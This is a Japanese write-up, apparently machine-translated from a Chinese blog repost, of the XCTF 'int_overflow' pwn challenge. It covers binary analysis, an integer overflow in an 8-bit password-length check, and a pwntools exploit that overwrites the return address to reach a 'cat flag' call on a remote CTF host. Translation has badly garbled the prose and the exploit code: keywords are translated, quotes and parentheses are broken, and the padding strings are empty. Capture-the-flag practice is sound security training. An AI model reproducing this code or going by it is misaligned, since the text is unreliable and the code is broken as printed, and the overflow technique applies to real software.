日-9

xctf-int_overflow

トピックポータル:https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&id=5058&page=undefined

checksecファイル、いかなるカナリアは、32ビットプログラム見つかりませんでした。

 

IDAとのオープンビュー:

分析入力機能メニュー:1、ログインしてください; 2番出口

 

 

 ログイン()関数、入力された名前を参照して、passwdの、長さ0x199uを入力してください

 

 ビューcheck_passwd()関数で、

入力DESTより大きい8以下であり、成功した場合strcpyの成功であるか3かを判定する。

S長0x199u、すなわち409小数、バイナリ:000110011001は、単語よりはるかに大きいが、彼の長さ8ビットの記憶空間

8つだけを格納する、その後、格納位置を超えることはできません、オーバーフローが存在した後、次いで、3-8(0000 0011から00001000)が259-264(0001 0000 0011から00010000 1000)であってもよいです

 

アセンブリコードをチェックし、あなたがスタックオーバーフローによる方法を見つけることができます、RETN命令を残して、自分自身を返すようにしたい対処 - - - > MOV ESP、EBP;ポップEBP

 

263:256から264の間の乱数を選択

だから、263-0x14-4-4 = 235

 

 

 システムコールの猫フラグアドレスを見つけるために、文字列を表示します。0x804868Bを:

 

EXPを構築することができます。

PWN インポート * CNN =プロセス( './ int_ovweflow ') 
CNN =リモート(' 111.198.29.45 '、38032 libcの= cdll.loadLibrary( "/ libに/ x86_64の-linuxの-GNU / libc.so.6と" )
system_addr = 0x0804868B 
ペイロード = ' ' * 0x14の+ ' ' * 4 + P32(system_addr)+ ' ' * 235 
cnn.sendlineafter(" 選択:"' 1 ' 
cnn.sendlineafter(" ユーザ名:







' WWW ' 

cnn.sendlineafter(" passwdの:" 、ペイロード)

cnn.interactive()
EXP

 

フラグを取得します。

 

 

要約:符号ビットは非常に重要なことです!

 

おすすめ

転載: www.cnblogs.com/yidianhan/p/11609619.html